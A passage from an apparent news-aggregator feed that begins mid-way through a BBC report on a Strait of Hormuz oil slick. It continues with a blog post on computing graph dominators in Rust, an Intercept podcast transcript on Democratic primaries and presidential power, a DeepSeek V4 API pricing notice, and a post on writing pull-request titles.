Two days later, satellite imagery shows the slick had doubled in size and was spreading north-west through the strait towards Qeshm.

By 10 August verified videos show large amounts of oil washing up on shores of Qeshm Island, along with an ongoing clean-up operation.

Samir Madani, co-founder of maritime intelligence company TankerTrackers.com, told BBC Verify that he believes the slick originated from the Minoan Pioneer and described the attack and subsequent oil spill as a "self-inflicted wound by Iran".

"Several vessels have been hit in that exact same spot by the Iranians when vessels use the Omani route," he told BBC Verify.

Wim Zwijnenburg, an environmental conflict expert at Dutch peace organisation PAX, also believes the visual evidence points to the Minoan Pioneer as the source of the oil.

'Tip of the iceberg'

The Minoan Pioneer is not the only vessel to have been damaged during attacks on shipping in and around the Strait of Hormuz.

Some of these attacks have resulted in marine pollution, including the sinking of container ship Safeen Prestige on 4 March following an attack near Oman. The UN's International Maritime Organization reported that an oil slick was detected after that incident.

Zwijnenburg said whether an attack results in pollution depends on factors including where a vessel is hit, what cargo it is carrying and how much is on board.

He added attacks which disable a vessel can also create environmental risks even if they do not immediately cause an oil spill, as they can pose a risk to the environment by sinking or breaking down.

John Amos of Skytruth said that the oil visible on the surface may the "tip of the iceberg of the impact environmentally", as heavier components of the oil can sink to the seabed.

"The oil that settles on the seafloor, depending on when and where it is, could persist for years," he added.

Additional reporting by Ghoncheh Habibiazad, BBC Persian

BBC Verify logo

Computing graph dominators

Lobsters
neugierig.org
2026-08-14 06:00:04
Comments...
Original Article

A few years back I wrote about the dominator tree of a dependency graph , which is one of my favorite tricks for thinking about dependencies. It turns out a new tinkering project of mine again needs a dominator tree, so I invested some time to deepen my understanding.

In this post I present an algorithm for computing graph dominators along with the intuition behind it.

Definitions

There are two central definitions that I will handwave some details about; you can read Wikipedia for those. Here's a graph to visualize them. Hover some nodes while you read.

  1. Node x dominates node y if all paths from the graph's root ( a , in this example) to y must go through x. If you hover a node here, its dominators are shown in yellow.
  2. Node x immediately dominates y if it is the lowest dominator above y. The immediate dominator of the hovered node is shown with a thicker outline.

Again, see my earlier post for some other framings of what these mean or how to think about them.

Choosing an algorithm

There is a continuous stream of research going back to 1959 publishing different algorithms for computing dominators with varying levels of implementation complexity. Lengauer-Tarjan ("LT") from 1979 seems to be the standard but it is relatively complex, involving spanning trees and union find.

In LLVM, i.e. in a tool where performance really does matter, it appears they use LT but have changed their implementation over time. For example in this work in 2017 they mention in a large compile they were computing 6.5 million dominator trees(!) and they changed to an approach that supports incremental updates.

The paper "A Simple, Fast Dominance Algorithm" from 2001 describes a simple algorithm that they claim is both useful for learning and in practice about 2.5x faster than LT.

The later paper "Finding Dominators in Practice" compares multiple algorithms, and regarding the above claim they write: "a more careful implementation of [Lengauer-Tarjan] later led to different results (personal communication)", which is not a great sign. However, in that paper they also gather numbers comparing five different algorithms across a collection of graphs and find that they all land somewhere between 2-5x the time of a breadth-first search, which itself they measure in microseconds. Which is to say, for the kinds of graphs that you or I likely care about, the difference doesn't matter.

If you like reading papers (I do! it's a worthy habit to develop!), you're best off reading "A Simple, Fast Dominance Algorithm" directly. But in part for deepening my own understanding by saying it in my own words, the rest of this post will dive into the "Simple, Fast" algorithm.

The approach

Their presentation is roughly two parts. First, they describe a general approach for computing dominators and why it works. Second, they show an algorithm that uses some representation tricks to implement that approach efficiently.

The general approach is describing the computation as a data-flow equation, which defines a per-node computation that recursively depends on itself.

Define dom[n] as the set of dominators for node n . Then the data flow equation is:

dom[root] = {root}
dom[n] = intersect(dom[p] for p in predecessors(n)) union {n}

In words, the dominator set of a node is the intersection of the dominators of the node's predecessors, as well as the node itself. (To make sense of this, don't overlook that dom[n] always includes n !)

To compute this, you run in a loop that updates each node until the output stops changing.

changed = True
while changed:
    changed = False
    for n in nodes:
        new = recompute(n)
        if new != dom[n]
            dom[n] = new
            changed = True

In the paper, they connect this to other research that shows this will converge on the correct answer in a relatively small number of iterations — if you iterate the nodes in reverse postorder, more on that in a moment. For our purposes of intuition, I think it's enough to say "this is guaranteed to converge on the correct result fast enough, see the paper for proof".

Why does this work? In the above sample graph, try hovering the predecessors of node g or h and mentally intersect the sets in yellow to see it produce their own yellow sets. Intuitively the sets represent something like a path from the root (though they may not be a full path; witness the dominator set for g ), and intersecting the sets results in the nodes found on all paths from the root.

As given this is inefficient to compute — though I suspect if you're writing Python or whatever and working with a small graph it's probably fine. The actual algorithm from the paper is more efficient.

Traversal order

To get to the algorithm we first must detour into graph traversal, as it relies on a reverse postorder traversal of the graph.

A preorder traversal visits a node then its children; a postorder visits the children before the node, recursively; a reverse postorder is the postorder's order but reversed.

Importantly, reverse postorder is different than preorder. In the below graph, I've numbered the nodes in their traversal order so you can compare them.

In a preorder traversal, the recursion makes its way all the way down the left side to the bottom before visiting the right side, so the right child of 0 is visited last. With a reverse postorder you get the invariant that each node is visited before any of its children, which is the important property the algorithm relies on.

(I fear in writing this section that it is all rather obvious to you, reader. I think many years of working on build systems has given me intuition for algorithms over acyclic graphs and for whatever reason as soon as cycles get involved I start getting confused. In the first graph in this post there is a "back edge", from g to b , but also the right way to think about it is that in terms of a traversal g still comes "later".)

By the way, in "Finding Dominators in Practice" when discussing this algorithm and its use of postorder they write:

Initializing T as a [postorder] tree is bad both in theory and in practice because it causes the back edges to be processed, even though they contribute nothing to the [nearest common ancestors]. Intuitively, a much better initial approximation of the dominator tree is a [breadth-first search] tree.

This wording feels kind of aggressive to me! The general dataflow approach produces the correct answer regardless of the iteration order, so changing the order doesn't affect correctness, and in their results they measured both approaches and found their idea improved performance by roughly 10% on the graphs they were measuring.

But I believe the original paper's proof of the bound on the number of iterations relies on specifically reverse postorder. (I asked Claude about this and it found a counterexample 14-node graph where the RPO order takes one pass and the BFS order takes 3 passes.)

Dominator tree

With reverse postorder ("RPO") defined, let's look at the actual algorithm.

The first trick of the algorithm is that instead of computing dominator sets, you instead compute for each node just its immediate dominator. If you look at each node's immediate dominator as a parent pointer you get a dominator tree. Given immediate dominators, you can read the dominator set of a given node by walking the dominator tree upwards.

Here's the first graph again, with its dominator tree (the thing we're trying to compute) alongside it. Look at a node and its ancestors in the dominator tree, and compare to the yellow nodes when you hover it on the left.

To compute immediate dominators, it's again an iterative data flow calculation.

idom[root] = root  # unlike the sets before, idom stores single nodes
idom[n] = intersect_dom(predecessors(n))

For example, to compute the immediate dominator of node g , we look at its predecessors d and e and walk the dominator tree upwards to find the place where their dominator sets intersect.

This is another cyclical definition, so we again iterate it for all nodes until it stabilizes.

Meet point

The second trick of the algorithm is in how to efficiently find the intersection. This is where the RPO matters. Here is the graph again with the nodes labeled by their RPO index.

The RPO numbering gives the property that a parent always has a number lower than its children. Given two "fingers" pointing at two nodes in the tree, to find where they meet, move whichever finger is pointing at a larger number to its parent. To intersect more than two predecessors, intersect two at a time.

intersect(a, b):
    while a != b:
        while a > b:
            a = idom[a]  # walk a upwards
        while b > a:
            b = idom[b]  # walk b upwards
    return a

Try clicking a node with multiple predecessors in the graph (3, 6, or 7) to see this in action. (Note that we're finding the meet point of the predecessors of the node, which comes from the full graph, while the intersection operation uses the idom tree, which is a subset of the graph. This means the moving circles visually skip some nodes in the above graph.)

Details

In the above I've been a bit loose about initialization: the code is reading from a data structure while that data structure is still under construction, which might feel like it wouldn't work. I think for intuition's purposes the right way to think about it is that the " while changed " loop effectively recomputes everything after any change anywhere, and that it's also guaranteed to converge.

That looks inefficient, but the algorithm also does the per-node processing in RPO, which is effectively "top down". That doesn't guarantee a single pass, but it does mean it's not that many passes. (For an example of how it isn't a simple top down single pass, consider how the first time the algorithm visits node 3 in the RPO it hasn't yet computed idom for its predecessor node 6.)

Here's the complete Rust implementation I ended up with in my toy application. I cannot guarantee it's correct as I am still learning, but it at least passes some simple tests!

// Inputs:
// nodes numbered in reverse postorder, so node 0 is the start
// preds[i]: array of predecessors of node i
// order[i]: the ith node visited in the reverse postorder

// Output:
// idom[i]: the immediate dominator of node i
let mut idom = Vec::with_capacity(graph.len());
let unset = usize::MAX;
idom.resize(graph.len(), unset);  // initialize all results to unset
idom[0] = 0;  // idom[start] is itself

let mut changed = true;
while changed {
    changed = false;
    // compute idom[i] for all nodes except the root
    for i in order[1..].iter().copied() {
        // only consider predecessors that have been initialized
        let mut preds = preds[i].iter().copied()
            .filter(|&j| idom[j] != unset);
        let Some(mut new) = preds.next() else {
            continue;  // node is not reachable
        };
        for pred in preds {
            let mut f1 = new;
            let mut f2 = pred;
            while f1 != f2 {
                while f1 > f2 {
                    f1 = idom[f1];
                }
                while f2 > f1 {
                    f2 = idom[f2];
                }
            }
            new = f1;
        }
        if idom[i] != new {
            idom[i] = new;
            changed = true;
        }
    }
}

PS: If you're not familiar with Rust, you should know that this might look like it's allocating where it isn't. The .filter() call only creates a filtering iterator, not an array, which inlines to a loop when it's read from. And the .iter().copied() calls mean to iterate by value rather than by reference, where the copied thing here is just integers.

Has the Left Really Met Its Limit?

Intercept
theintercept.com
2026-08-14 06:00:00
David Sirota on Francesca Hong’s defeat, what it means for the insurgent left, and how the American presidency has consolidated king-like power. The post Has the Left Really Met Its Limit?  appeared first on The Intercept....
Original Article

The stunning momentum of the insurgent left hit a roadblock this week when democratic socialist Francesca Hong narrowly lost her primary race for Wisconsin governor to Milwaukee County Executive David Crowley, a moderate who garnered significant support from establishment Democrats.

“The collective power of that Democratic establishment in a state, where there is a Democratic governor and there is a real Democratic Party establishment machine, all of that power was required to eke out a 0.4 percent victory in the party’s own primary against a previously unknown candidate running as a Democratic socialist,” The Lever’s David Sirota tells The Intercept Briefing.

This week on the podcast, host Jessica Washington speaks with Sirota, founder and editor-in-chief of The Lever , about the primaries and how the left is building power within the Democratic Party.

There were bright spots for progressives on Tuesday night. In Minnesota, progressive Lt. Gov. Peggy Flanagan defeated AIPAC-backed Rep. Angie Craig, D-Minn., in the Senate primary race. Craig had previously voted for the Laken Riley Act, which requires the federal government to detain people for certain crimes , including shoplifting and burglary. Flanagan, by contrast, told supporters on election night: “We need to rip ICE apart and stop them from terrorizing our communities.”

“What you’re seeing now is, and I don’t want to call it a Democratic Tea Party, but it is certainly organizing and pressuring to take back power in an adversarial way from a set of forces to the left of the Democratic establishment,” says Sirota. “That is what’s new, and that is what’s driving the political dynamic now.”

Washington and Sirota also discuss the intensifying democracy crisis unfolding in the United States. According to Sirota, it “stands on two pillars: concentrated executive power and the supremacy of money.”

Sirota explores this theme and more, in the new season of his show, Master Plan: The Kingmakers. The podcast is all about how a once-fringe legal theory moved into the mainstream and transformed the power of the American presidency.

For more, listen to the full conversation of The Intercept Briefing on Apple Podcasts , Spotify , YouTube, or wherever you listen.

Transcript

Jessica Washington: Welcome to The Intercept Briefing, I’m Jessica Washington, politics reporter at The Intercept.

On Tuesday night, democratic socialist Francesca Hong narrowly lost her primary race for Wisconsin Governor to Milwaukee County Executive David Crowley.

Hong lost by less than a percentage point. But her defeat was a blow to the anti-data center movement , which she had championed throughout her campaign, even as her detractors tried to make the race about her opinions on Thanksgiving and other major holidays.

But the night was not a total loss for progressives. In Minnesota, Lt. Governor Peggy Flanagan defeated AIPAC-backed Congresswoman Angie Craig for Senate.

Peggy Flanagan: And now let’s talk about Donald Trump’s out of control ICE force [crowd boos]. We need to rip ICE apart and stop them from terrorizing our communities.

JW: Last year, Craig voted in favor of the Laken Riley Act , which requires the federal government to detain people for a host of crimes , including nonviolent ones like shoplifting, and it allows states to sue over immigration enforcement, giving power to state attorneys general to shape immigration enforcement policy regardless of which party holds the White House. That vote appears to have cost her in a state that largely rose up in defiance of the Trump administration’s brutal immigration crackdown, after federal immigration agents shot and killed two U.S. citizens.

For more of our reporting on the primaries and the anti-data center movement, visit TheIntercept.com .

This week on The Intercept Briefing, I speak to David Sirota, founder and editor-in-chief of The Lever , about the primaries and how the left is building power within the Democratic Party.

David also talks about the parallels between how the left and the right have consolidated power, and we get into the second season of his amazing series Master Plan , resuming this week.

This new season is called The Kingmakers and is all about how a once-fringe legal theory moved into the mainstream and transformed the power of the American presidency.

It traces the people and institutions behind that campaign — from Richard Nixon’s downfall and Dick Cheney’s post-9/11 power grab to pivotal Supreme Court decisions and Project 2025.

David, welcome back to The Intercept Briefing.

David Sirota: Thank you. Thanks for having me.

JW: So Tuesday night, Francesca Hong narrowly lost her primary race for Wisconsin governor to the more moderate candidate, David Crowley. But it wasn’t a total loss for the left. In Minnesota, Lieutenant Governor Peggy Flanagan defeated AIPAC-backed Angie Craig. Hong’s race was plagued by, honestly, the dumbest issues, like whether she supports Thanksgiving or how she views her “proximity to whiteness.”

David, what did you make of Tuesday night’s results? Does this, as The New York Times called it, show the “ limits of the left ,” or is something else at play here?

DS: I think this is a good test of the power dynamic in American politics right now, specifically inside the Democratic Party. I’m going to state a few empirical facts about what happened. People can use these facts to try to confirm their priors. But here are the facts that we know. Fact one is that the entire establishment of the Democratic Party came together towards the end of this race, really consolidated to try to shut down Francesca Hong’s campaign and defeat her.

“All of the power of the old Democratic machine was required to eke out the narrowest of victories against the longest of long-shot candidates.”

The collective power of that Democratic establishment in a state, where there is a Democratic governor and there is a real Democratic Party establishment machine, all of that power was required to eke out a 0.4 percent victory in the party’s own primary against a previously unknown candidate running as a Democratic socialist who was wildly under-resourced, did not air any television advertisements through her own campaign. So the point being that all of the power of the old Democratic machine was required to eke out the narrowest of victories against the longest of long-shot candidates.

A candidate who, by the way, had been effectively abandoned by other national left-of-center icons and politicians, democratic socialists. Bernie Sanders did not endorse Francesca Hong. AOC did not endorse Francesca Hong. The candidates who have been winning as democratic socialists did not come to Wisconsin to campaign with Francesca Hong. We can discuss why that is and the mistakes or stumbles that Hong made as a candidate. But the point is that the machine with all of the power and advantages it had against a candidate with no advantages at all, that ran to say the least, an imperfect campaign, still needed all of its power to barely win a race in Wisconsin.

So to me, what that says is that the Democratic establishment that has gotten very used to being able to easily control primary outcomes is now having to marshal all of its collective power and have everything break right for it in order to eke out these primary wins. That, I think, is a fundamental difference of the political topography of the Democratic Party.

JW: I’m thinking about the fact that we didn’t see Bernie Sanders supporting her. Obviously, AOC had come out and said that it was because she wanted to focus on Congress. So we can have that conversation.

But we also didn’t see that support for Cori Bush either. And she lost.

Do you think that progressives are making a smart play here by trying to decide who’s more electable in a general election? Or, is that just more of the same silly stuff we’ve seen from the Democratic Party in terms of electability and making those decisions before voters do?

DS: Yeah, I’ve said this before and I’ll say it again. My take on so-called electability is that nobody really knows who is electable or not electable. I’m old enough to remember when the same media machine and Democratic Party apparatus insisted with certainty that Barack Obama could never possibly win a general election. I remember when that same machine laughed at the idea that Donald Trump could be elected president.

I tend to believe that this whole discussion about electability is silly, but also a Jedi mind trick that the establishment of the Democratic Party uses to try to manipulate voters into not voting for candidates and not seeing elections as forums for voting for good policies.

They’re trying to turn primaries into — and they’ve been successful at it in the past — trying to turn primaries into this idea that, “Don’t vote for the candidate who may be offering you policies that you actually support. Vote for our view of who is actually ‘electable’ in a general election. Forget the fact that we told you that Barack Obama wasn’t electable or Donald Trump wasn’t electable. Forget all that.” So my basic take is that the whole electability discussion is this moving target and a real sort of engine of manipulation.

I think that in every race, candidates are looked at for their viability, for how well they are running, and their basic competence as a candidate. It’s not wrong for folks and political organizations and activists on the left or really any political faction to try to evaluate the competence of candidates that they are going to spend resources on or organize for or endorse. That’s part of the political process in America, and that’s not a perfect process. But sometimes you can make mistakes. That happens all the time.

Did Francesca Hong not get endorsements because she was evaluated to be a less competent candidate? Same thing for Cori Bush. Were those candidates seen as not competent? Competent meaning as candidates, not as people, as candidates running a campaign. Were they seen as not competent versus was Abdul El-Sayed seen as a highly competent candidate?

My guess is that those calculations were at play here. I’ve worked on a lot of campaigns in my life at this point. A candidate’s competency is this intangible that’s really important.

So my guess is though all of those questions were on the table in the way that these decisions were made to endorse certain candidates and not go all in for other candidates.

JW: That makes a lot of sense. We’re also talking about having to run these candidates against the right, against the massive money machine that the right has.

So I want to talk a little bit more about Republicans and their power. Recently on your podcast, Lever Time , you spoke to Reed Galen, co-founder of the anti-Trump political action committee, The Lincoln Project. Galen talked about leaving the Republican Party and his warning that Democrats are making the same mistakes Republicans made, mapping the transition of the GOP to the Tea Party movement takeover.

Can you talk about that conversation and what Galen sees as the kind of dangerous mistakes the Democratic Party is making, and what’s your view?

DS: Yeah, I agree with his story of history, which is that to understand the current Republican Party, you have to really rewind history and look at what created it. You can go all the way back to Barry Goldwater and tell the story from there.

But in modern times, what you can see is that in 2008, Barack Obama won the presidency. A lot of the center-left foment gets driven into the Democratic Party and into Obama as a personality, and a lot of the center-right and hard-right unhappiness with our political system was driven first into the Tea Party, which ultimately became MAGA, which ultimately became the Trump presidency.

The Tea Party was operating outside of the Republican Party, although in conjunction with it, to transform that party. Ultimately, Donald Trump’s presidency, first the MAGA movement and then Trump’s presidency, becomes the culmination of all of that foment outside of the party.

Obviously the party has been transformed. It is a much different party than it was even 10, 15 years ago. I think a similar dynamic is happening right now vis-a-vis the Democratic Party and the American left. Obviously on totally different issues. They don’t share ideologies, they don’t share policy agendas.

But politically speaking, just the raw politics of it, I think this is delayed, I think it’s been belated. Whereas in 2008, there was a moment in the middle of the financial crisis where center-left discontent could have been channeled into something like a center-left Tea Party. I reported on this for a long time.

There was Occupy Wall Street and the like. But certainly it wasn’t as big a movement as the Tea Party on the right because a lot of that energy was, again, channeled into Obama and the Obama presidency. We’re now here 18 years later, many of the grievances of that moment back in 2008 in the middle of the financial crisis, really the supercharging of oligarchy, they’re still here.

But the difference is here — in the here and now — if you look at polls of people on the left, center-left, before in 2008 they were fairly confident in Democratic leaders to channel their grievances. Today, they have lost faith in the Democratic leadership . They are angry at the Democratic Party for what they perceive to be capitulations and unnecessary compromises with corporate power and with Trump and MAGA.

“What you’re seeing now is … certainly organizing and pressuring to take back power in an adversarial way from a set of forces to the left of the Democratic establishment.”

What you’re seeing now is, and I don’t want to call it a Democratic Tea Party, but it is certainly organizing and pressuring to take back power in an adversarial way from a set of forces to the left of the Democratic establishment. That is something I think we have not really experienced in our lifetimes. That is what’s new, and that is what’s driving the political dynamic now.

Whether it’s in any of these races happening across the country or in Congress itself, which I expect the next session of Congress, if Democrats take it back, to be a lot of push and pull inside the Democratic caucus, which of course will overlay the 2028 presidential campaign.

I very much expect candidates in the Democratic primary to be competing for that positioning. You might want to call it the Bernie Sanders lane, but it’s really the lane to say, “I am the outsider that is going to take back the White House for a particular faction,” or representing a particular faction of the Democratic Party. A faction that is most certainly not the corporate old-school establishment that has been running the party into the ground for the last 30 years.

I see the whole push and pull right now as something very healthy. I don’t think it is healthy for democracy, for an establishment of one of the major parties in this country to have clung onto power for so long, offering so little change through so many electoral defeats and through the rise of Donald Trump and authoritarianism.

For that establishment to still be able to hold on to power without much change at all really is the democracy crisis in practice. So the effort to change that party through democratic means, is entirely long overdue, is entirely necessary. People listening to this may agree or disagree with specific different parts of the policy platform being pushed by those outside the establishment, but the process itself is the democracy working.

“The democracy crisis is a set of elite power brokers being able to cling on to a political party’s power regardless of what is happening in the world and in a way that sells out voters.”

A lot of liberals think about the democracy crisis. The democracy crisis is a set of elite power brokers being able to cling on to a political party’s power regardless of what is happening in the world and in a way that sells out voters. That’s what’s been going on in the Democratic Party for a long time, and the effort to significantly change it and revitalize the party through democratic means is a healthy expression of democracy.

[Break]

JW: We have multiple crises of democracy happening. We obviously have Trump, but we also have the establishment [Democrats] and the fact that they’ve allowed Republicans to gain control of the government from the House to the Senate to presidency, and I would argue, also the Supreme Court.

Last week, the president’s personal attorney, Todd Blanche , was confirmed as attorney general with, to me, what seems like a clear mandate to target the president’s enemies. Then on Tuesday, it was reported that the DOJ issued a sweeping memo giving broad authority to the president to conceal his communications with so-called private advisers in what seems like just a clear effort to undercut Democrats’ ability to investigate the president if they retake Congress. That doesn’t even touch on the fact that we’re over 100 days into war with Iran without congressional approval.

I want to talk about how we got here, and you explore that in the new season of your show, Master Plan: Kingmakers , which is out this week, by the way. It tracks how a once fringe legal theory has transformed the American presidency into a pseudo-monarchy with term limits.

I listened to the first episode and loved it, by the way. It also feels incredibly relevant right now. David, how did we get here?

“We’ve turned elections into auctions. We’ve equated money with free speech, we’ve equated corporations with people, giving them human rights.”

DS: To my mind, it is the second part of a two-part story to understand the real democracy crisis. The democracy crisis I think, stands on two pillars: concentrated executive power and the supremacy of money.

They’re obviously interrelated. Season one of Master Plan traces the secret 50-year plot to effectively legalize corruption, deregulate the campaign finance system and make bribery essentially a permissible act in the United States. We all understand, implicitly, that we’re now living in that reality when we’ve turned elections into auctions. We’ve equated money with free speech, we’ve equated corporations with people, giving them human rights.

So we are living through that project of the American right to effectively legalize corruption, to turn the democracy from a “one person, one vote” democracy into a “one dollar, one vote” oligarchy. I think we all see the evidence of that. That came about through, among other things, the infamous Powell Memo.

That’s the sort of origin story where a lot of it started, which was a call to arms for corporations in the early 1970s when corporations and oligarchs felt under attack from the New Deal policies of the mid-20th century. The Powell Memo was a call to essentially make monetary investments in buying democracy.

The democracy was functioning too well. It was becoming too responsive to what people actually wanted, and the idea was we have to legalize corruption to be able to rig the system so that we can buy outcomes, we the oligarchy. So that was season one of Master Plan.

The other pillar of the democracy crisis is then to concentrate as much power in the executive branch in the hands of really one person so that the small-D democratic institutions of government have much less power, so that power is less diffuse. It’s all in the hands of one person, because if that’s your guy — you the oligarchy — then you’ve essentially ended democracy. This story starts in Watergate. Watergate was the moment that was seen as a so-called imperial presidency, a presidency that had gotten out of control and stepped over the boundaries and thresholds that had been established for the executive branch.

Congress passes a series of laws that are designed to take power away from the executive branch. So the story really starts there at a kind of small-D democratic moment of triumph, but it also hatches a backlash, and that’s what the new season of Master Plan is about, The Kingmakers.

It hatches a backlash among conservatives starting in the Ford administration with Dick Cheney, who was chief of staff to make legal arguments and start creating legal doctrines that are designed to grab back the power that was taken in the post-Watergate era, put it back in the White House, and then significantly expand it.

“The original Project 2025 was The Heritage Foundation’s Mandate for Leadership, a policy bible whose through line was how to use executive authority.”

That’s what happens soon after Ronald Reagan gets elected president. We all have heard of Project 2025. Back in the late 1970s into 1980, the original Project 2025 was The Heritage Foundation’s Mandate for Leadership, a policy bible whose through line was how to use executive authority to do what the conservative movement wanted regardless of what Congress or any other institution wanted, and how to grab as much of that power as possible under a new legal rubric called the unitary executive theory .

I’m guessing some people have heard that. This is cooked up inside of the Reagan Justice Department in its battles with a Democratic Congress. A legal doctrine that is then tested in the courts in strategic ways to try to get it enshrined into the law.

From the Reagan era into obviously the Bush era, the Bush’s war on terror , Dick Cheney, the guy who had been spearheading parts of this when he was in the Ford administration and when he was in Congress, the Bush administration sees a huge consolidation of power under the veneer of the so-called war on terror.

“All of these powers, from the unitary executive theories that were forged in the Reagan administration to the drone war national security powers that were fortified by Obama after the Bush era, all of this is now resting in the Trump White House.”

Then in probably our most controversial episode of this season, we go into how the Obama administration ended up consolidating power in truly unprecedented ways. The Obama administration didn’t champion the unitary executive theory, but it did make a set of precedential legal arguments about the executive branch’s alleged power to execute and target for assassination American citizens without charging them even with a crime.

I’m talking about the drone war here. Some may say that the drone war was necessary, others may say it wasn’t, but the legal architecture and the outlining of the powers asserted by the executive branch were unprecedented and were effectively validated during the Obama presidency. Powers that are now, fast-forward to today, all of these powers, from the unitary executive theories that were forged in the Reagan administration to the drone war national security powers that were fortified by Obama after the Bush era, all of this is now resting in the Trump White House.

So the point of this is that what we’re living through today didn’t just happen because Donald Trump showed up to the White House. Donald Trump, when he got to the White House, had a series of levers, if you will, an entire control panel of executive powers, unprecedented executive powers, that were created for him.

So when we see him use those powers, it’s not to say we shouldn’t be terrified by it or outraged by it, but it is to say, let’s understand where those powers came from, because they didn’t just happen. They weren’t just seized randomly, and they weren’t just created by Donald Trump himself.

JW: As you just mentioned, efforts to bring the unitary executive theory to reality have been decades in the making. We saw President George W. Bush’s administration push in that direction, and now it’s reached just a whole other level under Trump. First, just to make it clear, can you briefly explain just how powerful is the American presidency under Trump, and what is the unitary executive theory?

DS: The unitary executive theory is this idea that the president singularly is the controller, the master, the decider of every single thing that the executive branch does. The executive branch, that’s one term for it. Another term for the executive branch is the federal government, right?

At one level they are one and the same, but I bring that up so that people can understand how radical the unitary executive theory actually is. When I use the federal government, maybe you’re thinking of the military. Maybe you’re thinking of the Agriculture Department, the scientists working on food safety in the Agriculture Department.

We’re talking about everything, the sort of basic functions, the on-the-ground functions of the government. Technically all of those agencies are operating in what we understand in terms of separation of powers. We understand them to be the executive branch. There’s Congress that makes the laws. There’s the president that executes the laws. There’s the courts that adjudicate battles between Congress and the president, adjudicate what the law is actually saying, et cetera, et cetera.

The unitary executive theory is saying that the president as the head of the executive branch has complete and total power to effectively do whatever the president wants inside of the executive branch.

So the unitary executive theory undergirds something like DOGE, the rampage that we all experienced right when Donald Trump came into his second term. He said, for instance, I’m shutting off all previously approved congressional grants across the entire United States. I’m asserting my executive authority to do that.

Now, Congress had passed laws saying that the money must be spent, but Trump and his administration were essentially arguing the president makes the decision on whether to execute those laws. So I give that example as a way for people to understand how radical an idea this is.

By the way, this came up recently with independent federal agencies . There are a set of agencies that Congress had set up and that presidents had signed laws, signed them into law in the past, saying that, the FTC or the Securities and Exchange Commission that these agencies are quasi-independent because the commissioners have set terms.

It’s much harder to fire them. Donald Trump went into court saying, I’m the unitary executive. These independent agencies structurally are unconstitutional. I should be allowed to hire and fire whoever I want at any time for any reason. And the Supreme Court largely agreed with him.

So this is about an unprecedented consolidation of power in the hands of one person to say that at any level of the federal government, any granular level, there’s some EPA scientist who is issuing a report about climate change that the president doesn’t like, the theory would hold that the president has a right, regardless of what Congress has passed, regardless of what the courts have adjudicated, the president has the right to reach into the EPA, target that one person, and fire them himself.

So you can see the dangers of this, because here’s the thing: Part of the way modern civilization has modernized from the old era of medieval royal courts, is that we have professionalized a lot of the functions of government. Like line scientists doing food safety reviews or environmental reviews or making all sorts of technical technical determinations, et cetera, et cetera. We had previously said this is going to be insulated at some level from the political whims of just one all-powerful king, whichever party it is. There’s a civil service, there’s a sort of a professionalized bureaucracy, if you will, and the unitary executive theory is trying to dismantle all of that.

Now, I want to add one thing very quickly here. I do think there’s an argument that, when a bureaucracy, a professionalized government bureaucracy, is so insulated from what voters are voting for, there can be an undemocratic disconnect there. If voters are voting for certain kinds of change and a kind of permanent bureaucratic government, because of job protections and the like over many years, is not responding to what people want, I do think there is a nugget of an argument there that there has to be ways that elections happen and policy changes then flow from those election changes.

But I think the unitary executive theory is a radical overcorrection for that kind of alleged problem. The solution to that theoretical problem is not to turn the president into an all-powerful king who can wake up at any day or any moment, ignore all of the laws on the books, and do whatever he wants.

JW: It sounds like there’s a lot that’s going to be happening in your podcast, and I’m, for one, really looking forward to listening to the rest of the new season of Master Plan: The Kingmakers. David, where can people listen to it?

DS: They can find it on our website at levernews.com . You can also go on your podcast app and just type in Master Plan. And you can go to our YouTube page. We have video versions of the episodes. That’s youtube.com/@levernews . The URL, the easiest way to find it, masterplanpodcast.com .

JW: David, thank you so much for joining us on The Intercept Briefing.

DS: Thank you. Thanks so much for having me.

JW: We want to hear from you. Tell us what you’re following or want to see more coverage of. Email us at podcasts@theintercept.com or leave us a voicemail at 530-POD-CAST, that’s 530-763-2278

That does it for this episode.

This episode was produced by Laura Flynn. Ben Muessig is our editor-in-chief. Maia Hibbett is our Managing Editor.

Fei Liu is our product and design manager. Nara Shin is our copy editor. William Stanton mixed our show. Legal review by David Bralow.

Slip Stream provided our theme music.

This show and our reporting at The Intercept do not exist without you. Your donation, no matter the amount, makes a real difference. Keep our investigations free and fearless at theintercept.com/join .

And if you haven’t already, please subscribe to The Intercept Briefing wherever you listen to podcasts. Do leave us a rating or a review, it helps other listeners to find us.

Until next time, I’m Jessica Washington.

DeepSeek peak/off-peak pricing update

Hacker News
api-docs.deepseek.com
2026-08-14 05:55:33
Comments...
Original Article

We’re launching DeepSeek-V4-Pro today! 🚀

🔷 Major Agent upgrades with strong production gains!

🔷 Flexible reasoning effort for V4-Pro & V4-Flash: low for simple tasks, high for daily Agent workflows, max for complex tasks.

🔷 Native OpenAI Responses API support, optimized for Codex with one-click setup.

V4 Pro is now available on app/web. Try it via “Expert Mode”.

V4 Pro is also available via API. Model names remain unchanged—please refer to the API docs for setup details.


API pricing update 💰

With the V4 lineup release, we’re updating our API pricing and introducing peak and off-peak rates. Off-peak rates are 50% lower than peak, enabling more flexible workload scheduling. 📉

New pricing takes effect at 16:00 UTC, Aug 16, 2026 🕒

Comments in the code vs PR description

Lobsters
devblogs.microsoft.com
2026-08-14 05:52:20
Comments...
Original Article

When you submit a pull request, there are two places you can use to help explain what you are doing and why you are doing it. One is the pull request description, and another is the code you are modifying. And it’s important to understand the difference between them.

The pull request is where you justify why your change should be accepted. In the title, you spell out the problem you are fixing or the feature you are adding.

Add support for polarity reversal

Fix crash when polarity changes

In a large code base, you may need to be a little more specific.

Add support for widget polarity reversal

Fix widget crash when polarity changes twice in a short time

When somebody is chasing down a regression, they are going to be looking over all of the PRs that went into the branch recently, and having a good title will make it easier for them to identify which changes are likely to be a source of the problem.

For example, if somebody is investigating a doodad crash, they may look into “Add support for widget polarity reversal” because their doodad uses widgets, and maybe the problem is caused by a reverse-polarity widget that their doodad isn’t handling. On the other hand, they can pay less attention to the fix for the crash when widget polarity changes because that’s unlikely to be the reason the doodad is crashing. And if their doodad doesn’t use widgets at all, they may just skip over both of them.

If the PR had used the original titles of “Add support for polarity reversal”, without any mention of widgets, then a team investigating a regression in gadgets would have to dig into the PR (because gadgets also have polarity), only to realize that it’s about widget polarity, not gadget polarity.

